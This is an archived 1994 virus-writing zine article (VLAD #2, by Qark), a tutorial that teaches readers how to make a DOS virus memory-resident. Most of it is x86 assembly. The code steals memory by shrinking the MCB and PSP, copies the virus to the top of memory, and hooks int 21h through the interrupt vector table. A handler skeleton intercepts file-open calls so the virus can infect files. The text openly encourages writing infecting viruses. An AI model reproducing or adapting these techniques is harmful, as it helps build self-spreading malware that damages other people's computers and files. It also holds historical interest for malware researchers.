home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / MAGS.ZIP / VLAD#2.ZIP / ARTICLE.3_2 < prev    next >
Encoding:
Text File  |  1994-10-31  |  4.4 KB  |  123 lines

  1.  
  2.  
  3.    TSR tutorial!
  4.    +-----------+
  5.  
  6.    Of course when first learning to do something you must start from
  7.    the very beginning, writing a TSR virus comes round about after the
  8.    parasitic stage.  If you can't do this, then I suggest you study up
  9.    on it before checking this out :).  According to some releasing even
  10.    a parasitic infector is lame, so heh.. I guess this might come in
  11.    handy for someone.
  12.  
  13.    Ok, well here goes the tutorial:
  14.  
  15.       
  16.    When a program is loaded, the memory around it looks like this:
  17.  
  18.  
  19.            |                      |
  20.            |                      |
  21.            | This is the EXE/COM  |
  22.            | Program that is      |
  23.            | infected.            |
  24.            |______________________|
  25.            |Program Segment Prefix|
  26.            | (Shortened to PSP)   |   This is 100H bytes long.(256 bytes)
  27.            |______________________|
  28.            | Memory Control Block |
  29.            |  (Shortened to MCB)  |   This is 10H bytes long. (16 bytes)
  30.            |______________________|
  31.  
  32.       
  33.    On entry to both COM and EXE files DS and ES contain the segment of the
  34.    PSP (Program Segment Prefix).
  35.  
  36.       To get the MCB (Memory Control Block) we go:
  37.  
  38.         mov     ax,ds           ;DS=PSP
  39.         dec     ax
  40.         mov     ds,ax           ;Now DS=MCB
  41.  
  42.    This is because the MCB hides one paragraph (paragraph=16 bytes) below
  43.    the PSP.  The MCB is what DOS uses to allocate memory.
  44.      
  45.         MCB Format
  46.       ;******************
  47.       DS:[0] = MCB Type.              - Either Z or M block.
  48.       DS:[3] = Size of block / 16.  
  49.       ;******************
  50.  
  51.       Next go:
  52.  
  53.         cmp     ds:[0],'Z'      ;We want a Z block because Z are the last.
  54.         jne     fuck_off
  55.         
  56.         sub     ds:[3],memory_we_want/16
  57.                                 ;Now DOS thinks it has less memory. So we put
  58.                                 ;the virus in the gap.
  59.  
  60.    In the PSP at position 2 is the segment address of the top of memory.
  61.    To save us calculating it from the MCB it is much easier to manipulate
  62.    this data.  So:
  63.  
  64.         sub     ds:[12h],memory_we_want/16
  65.  
  66.         ;DS:[12h] now contains the segment where we put our virus.
  67.  
  68.         mov     ax,word ptr ds:[12h]
  69.         mov     es,ax                   ;ES=Place to put virus.
  70.  
  71.         push    cs
  72.         pop     ds                      ;DS=CS
  73.         xor     di,di
  74.         ;We assume SI=Start of virus.
  75.         mov     cx,virus_length         ;How many bytes to move.
  76.         
  77.         rep     movsb                   ;Move CX bytes from DS:SI to ES:DI
  78.         ;That should move your virus to the TOM (top of memory)
  79.      
  80.    I have started rushing here.  Not too fast I hope.  Now what you have
  81.    to do is point your interrupt (int21h) at the handler within your virus.
  82.  
  83.    Setting the interrupt vector manually (without using int21h) is best
  84.    because then you can infect COMMAND.COM safely.  Anyway, the interrupt
  85.    vector table is located at segment 0.
  86.  
  87.         xor     ax,ax           ;Zero AX
  88.         mov     ds,ax           ;DS=0=Interrupt Vector table.
  89.  
  90.    All interrupts are located at their number multiplied by four.  They
  91.    are laid down with the offset first and then the segment.
  92.  
  93.         mov     ds:[21h*4],offset int21handler  ;Offset of virus routine
  94.         mov     ds:[21h*4+2],es                 ;Segment of virus routine
  95.  
  96.    This code will set int21h to run your virus handler.  But before
  97.    putting your virus in memory you should save the original Offset:Segment
  98.    in your handler so that you can return to it later on.
  99.  
  100.    Your handler should look like this:
  101.  
  102.         int21handler proc far
  103.           cmp   ah,3dh                  ;This is file open.
  104.           jne   go_int
  105.           push  everything
  106.           do infection and shit
  107.           pop   everything
  108.         go_int:
  109.           db    0eah                    ;This stands for jmpf
  110.           dw    orig_int21_offset
  111.           dw    orig_int21_segment
  112.           int21handler endp
  113.  
  114.    There's also other stuff like checking for residency where you pass
  115.    into int 21h a unique register pattern and test for it and return another
  116.    weird pattern to confirm its residency.  But I'm sure you'll work it out.
  117.  
  118.    Ok, that'll do for another lame tutorial by Qark.  Look out for more
  119.    lame tutorials, beleive me, there'll be many! :)
  120.    (With intro by Metabolis)
  121.  
  122.  
  123.